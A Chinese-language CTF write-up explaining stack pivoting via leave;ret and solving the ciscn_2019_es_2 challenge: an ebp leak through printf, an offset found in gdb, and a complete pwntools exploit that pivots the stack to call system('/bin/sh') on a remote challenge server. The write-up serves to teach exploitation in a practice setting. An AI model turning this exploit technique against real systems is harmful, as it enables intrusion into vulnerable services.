栈迁移

知识点

当存在栈溢出漏洞,但是可写的溢出区很短的时候,不足以我们构造完整的rop链,这时就要用到栈迁移。

原理是控制rbp从而改变rsp,使栈空间整体发生迁移,利用手法是找到leave_ret这个gadget,填充buf(注意这里不同于之前,不要填充ebp),之后的ebp的位置填入我们想迁移到的地址,最后leave_ret,即可完成迁移。

到现在还没有结束,完成迁移后,32位的要先填充4个字节,64位的要先填充8个字节,在这之后才能正常构造rop链。

一般我们选择迁移地址的时候会选择bss段,或者把rop链放在填充buf的垃圾数据当中,然后通过gdb调试找到输入点的地址,迁移回输入点即可。

例题

ciscn_2019_es_2

https://buuoj.cn/challenges#ciscn_2019_es_2

checksec一下,32位程序,nx开启,不能shellcode

image-20250702164430428

进入主函数,发现两个read和两个printf,自然联想到第一个printf是要泄露一些栈上的信息,然后利用第二的read栈溢出漏洞

image-20250702164522485

但是观察发现,read只能接收0x30,而填充到ebp就用掉了0x28,用剩下的8个字节显然不够构造rop链,所以要栈迁移,而第一个printf能泄露什么呢,当我们把s数组填充满后,printf不会停止输出,会紧跟着把ebp泄露出来,我们先接收ebp地址,然后gdb调试,在第一个printf设断点,输入aaaa,ni一下查看栈空间

image-20250702165410354

发现输入点到ebp的距离为0x38,则用接收到的ebp减去0x38即可得到输入点的地址。

image-20250702165703539

发现有system,现在来构造rop,我们把/bin/sh写在栈上,然后把/bin/sh在栈上的地址放进system的参数即可。

exp如下:

from pwn import *

r=remote("pwn.challenge.ctf.show",28104)

\#r=process("./pwn")

context(os="linux",arch="i386",log_level="debug")

context.terminal = ['tmux', 'splitw', '-h']

elf=ELF("./pwn")

system=0x8048400

l_r=0x080484d5

payload=b'a'*0x27+b'b'

r.send(payload)

r.recvuntil('b')

ebp=u32(r.recv(4))#int(r.recv(4))

payload=b'a'*0x4+p32(system)+p32(0)+p32(ebp-0x38+0x10)+b'/bin/sh\x00'

payload=payload.ljust(0x28,b'a')+p32(ebp-0x38)+p32(l_r)

\#gdb.attach(r)

r.send(payload)

r.interactive()